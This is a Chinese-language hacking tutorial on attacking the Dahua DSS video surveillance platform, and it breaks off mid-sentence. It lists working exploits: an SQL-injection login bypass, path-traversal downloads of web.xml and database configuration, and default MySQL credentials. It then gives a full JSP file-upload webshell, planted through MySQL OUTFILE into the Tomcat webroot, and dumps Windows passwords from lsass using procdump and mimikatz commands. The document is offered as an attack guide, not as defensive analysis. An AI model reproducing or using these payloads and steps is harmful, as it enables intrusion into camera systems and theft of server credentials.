- 大华DSS是什么?
一监控平台,应该有不少学校、企业在用
- 大华DSS有什么优势?
较稳定(从学校的使用来看)、支持设备多、支持云台控制、支持多种终端(Windows+Android+iOS)
不过,本文可不是宣传大华DSS的,而是谈谈大华漏洞的利用
本文中,DSS安装地址以http://localhost/
为例
注:有些企业可能会自己修改大华DSS,加大入侵难度
0x00 数据库相关信息泄露
打开http://localhost/admin
,注意结尾没有“/”,即可看到一些信息
虽然用处不大,不过可以起到一个收集信息的作用
0x01 后台的“半个万能密码”
在http://localhost/admin/index.jsp
,使用万能密码'or''='
即可提升登陆成功
为什么说是半个?因为进去了也什么事都干不了
0x03 任意文件下载漏洞
这才是重头戏,打开http://localhost/admin/download.do?f=../WEB-INF/web.xml
,即可下载到web.xml
如果不出意外,还能在http://localhost/admin/download.do?f=../WEB-INF/proxool.xml
下载到数据库配置
0x04 默认密码
其实估计很多用DSS的都没有修改过数据库的默认密码,用户名都是mysql
,密码都是password
0x05 Struts漏洞
这个漏洞可以利用来造成DoS攻击和任意代码执行,具体参见Wooyun的文章:http://drops.wooyun.org/papers/1377
讲了几个漏洞,现在来讲讲利用过程吧
Step1.利用MySQL放置Webshell
首先连上MySQL,找到安装目录
然后随便找个表,插入一段小马,比如:
<%@page contentType="text/html;charset=gb2312"%><%@page import="java.io.*,java.util.*,java.net.*"%><html><head><title>JspDo</title><style>body{color:red;font-size:12px;}</style></head><body><% if(request.getParameter("context")!=null) { String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312");String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312");OutputStream pt = null; try { pt = new FileOutputStream(path); pt.write(context.getBytes());out.println("<a href='"+request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+request.getRequestURI()+"'><font color='red' title='点击可以转到上传的文件页面!'>上传成功!</font></a>"); } catch (FileNotFoundException ex2) { out.println("<font color='red'>上传失败!</font>"); } catch (IOException ex) { out.println("<font color='red'>上传失败!</font>"); } finally { try { pt.close(); } catch (IOException ex3) { out.println("<font color='red'>上传失败!</font>"); } } } %><form name="frmUpload" method="post" action=""><font color="blue">本文件的路径:</font><%out.print(request.getRealPath(request.getServletPath())); %><br><br><font color="blue">上传文件路径:</font><input type="text" size="70" name="path" value="<%out.print(getServletContext().getRealPath("/")); %>"><br><br>上传文件内容:<textarea name="context" id="context" style="width:51%;height:150px;"></textarea><br><br><input type="submit" name="btnSubmit" value="Upload"></form></body></html>
接下来利用MySQL的outfile导出小马,到安装目录/WEBCLIENT/webclient/apache-tomcat-5.5.26/webapps/ROOT/client/a.jsp
,例如D:/DSS/WEBCLIENT/webclient/apache-tomcat-5.5.26/webapps/ROOT/client/a.jsp
,安装目录在前面获取到的
之后访问http://localhost/client/a.jsp
,然后小马传大马,完成
Step2.获取Windows账号密码
如果你的目的只是获取Webshell,那就不用往下看了。不过,我还是把方法写上
首先下载一个小工具,叫procdump,然后传到服务器上(此软件经微软认证,杀软不报毒)
之后用Webshell执行命令,导出lsass的内存信息
procdump.exe -accepteula -ma lsass.exe lsass.dmp
然后下载lsass.dmp到本地,打开Mimikatz,执行以下命令,就可以看到密码了(如果用户没有注销的话)
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP
mimikatz # sekurlsa::logonPasswords full
PS:这一步有要求,那就是我们跑Mimikatz的电脑(Platform)和服务器(Source dump)的内核要兼容,兼容性如下: